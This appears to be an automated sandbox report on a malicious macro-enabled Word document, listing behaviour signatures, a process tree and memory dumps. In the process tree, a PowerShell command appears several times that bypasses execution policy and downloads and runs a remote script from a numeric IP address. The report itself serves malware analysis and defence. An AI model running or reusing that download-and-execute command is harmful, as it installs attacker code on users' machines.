Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
12/02/2024, 06:01
General
- Target Application#37.docm
- Size 79KB
- Sample240212-grcv3aga86
- SHA256 72f6526ae5d46195d9105ccb43d074a15dc7a775e577ca42b3b06964aad4c8ec
Malware Config
Signatures
- Process spawned unexpected child process 5 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Application#37.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\wscript.exewscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\radAC660.tmp1⤵
- Process spawned unexpected child process
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://213.139.205.131/update_ver')|iex"2⤵
-
-
C:\Windows\system32\wscript.exewscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\radBF177.tmp1⤵
- Process spawned unexpected child process
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://213.139.205.131/update_ver')|iex"2⤵
-
-
C:\Windows\system32\wscript.exewscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\radF477A.tmp1⤵
- Process spawned unexpected child process
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://213.139.205.131/update_ver')|iex"2⤵
-
-
C:\Windows\system32\wscript.exewscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\rad5898E.tmp1⤵
- Process spawned unexpected child process
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://213.139.205.131/update_ver')|iex"2⤵
-
-
C:\Windows\system32\wscript.exewscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\rad9573F.tmp1⤵
- Process spawned unexpected child process
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_2ptu2vlp.mac.ps1
radAC660.tmp
ExcludeDictionaryEN0409.lex
memory/1352-128-0x000002673CBE0000-0x000002673CBF0000-memory.dmp
memory/1352-127-0x000002673CBE0000-0x000002673CBF0000-memory.dmp
memory/1352-125-0x00007FF8FB890000-0x00007FF8FC351000-memory.dmp
memory/1352-149-0x00007FF8FB890000-0x00007FF8FC351000-memory.dmp
memory/1352-151-0x000002673CBE0000-0x000002673CBF0000-memory.dmp
memory/1352-153-0x00007FF8FB890000-0x00007FF8FC351000-memory.dmp
memory/2928-148-0x000001E1CEBB0000-0x000001E1CEBC0000-memory.dmp
memory/2928-147-0x00007FF8FB890000-0x00007FF8FC351000-memory.dmp
memory/2928-150-0x000001E1CEBB0000-0x000001E1CEBC0000-memory.dmp
memory/3300-15-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-1-0x00007FF8E8C30000-0x00007FF8E8C40000-memory.dmp
memory/3300-16-0x00007FF8E6570000-0x00007FF8E6580000-memory.dmp
memory/3300-17-0x00007FF8E6570000-0x00007FF8E6580000-memory.dmp
memory/3300-34-0x0000024304A80000-0x0000024305A50000-memory.dmp
memory/3300-42-0x00000243038F0000-0x00000243040F0000-memory.dmp
memory/3300-43-0x0000024304A80000-0x0000024305A50000-memory.dmp
memory/3300-14-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-56-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-57-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-58-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-59-0x0000024304A80000-0x0000024305A50000-memory.dmp
memory/3300-60-0x00000243038F0000-0x00000243040F0000-memory.dmp
memory/3300-61-0x0000024304A80000-0x0000024305A50000-memory.dmp
memory/3300-73-0x0000024304A80000-0x0000024305A50000-memory.dmp
memory/3300-13-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-75-0x0000024304A80000-0x0000024305A50000-memory.dmp
memory/3300-11-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-2-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-4-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-3-0x00007FF8E8C30000-0x00007FF8E8C40000-memory.dmp
memory/3300-5-0x00007FF8E8C30000-0x00007FF8E8C40000-memory.dmp
memory/3300-6-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-92-0x0000024304A80000-0x0000024305A50000-memory.dmp
memory/3300-102-0x0000024304A80000-0x0000024305A50000-memory.dmp
memory/3300-7-0x00007FF8E8C30000-0x00007FF8E8C40000-memory.dmp
memory/3300-129-0x0000024304A80000-0x0000024305A50000-memory.dmp
memory/3300-0-0x00007FF8E8C30000-0x00007FF8E8C40000-memory.dmp
memory/3300-8-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-107-0x0000024304A80000-0x0000024305A50000-memory.dmp
memory/3300-9-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-10-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3300-12-0x00007FF928BB0000-0x00007FF928DA5000-memory.dmp
memory/3800-87-0x000002163D7A0000-0x000002163D7B0000-memory.dmp
memory/3800-109-0x000002163D7A0000-0x000002163D7B0000-memory.dmp
memory/3800-108-0x00007FF8FB890000-0x00007FF8FC351000-memory.dmp
memory/3800-82-0x000002163D7B0000-0x000002163D7D2000-memory.dmp
memory/3800-112-0x00007FF8FB890000-0x00007FF8FC351000-memory.dmp
memory/3800-86-0x00007FF8FB890000-0x00007FF8FC351000-memory.dmp
memory/3800-89-0x000002163D7A0000-0x000002163D7B0000-memory.dmp
memory/3800-88-0x000002163D7A0000-0x000002163D7B0000-memory.dmp
memory/4684-105-0x000001F77B0A0000-0x000001F77B0B0000-memory.dmp
memory/4684-134-0x00007FF8FB890000-0x00007FF8FC351000-memory.dmp
memory/4684-103-0x00007FF8FB890000-0x00007FF8FC351000-memory.dmp
memory/4684-132-0x000001F77B0A0000-0x000001F77B0B0000-memory.dmp
memory/4684-131-0x000001F77B0A0000-0x000001F77B0B0000-memory.dmp
memory/4684-130-0x00007FF8FB890000-0x00007FF8FC351000-memory.dmp
memory/4684-106-0x000001F77B0A0000-0x000001F77B0B0000-memory.dmp
memory/4684-104-0x000001F77B0A0000-0x000001F77B0B0000-memory.dmp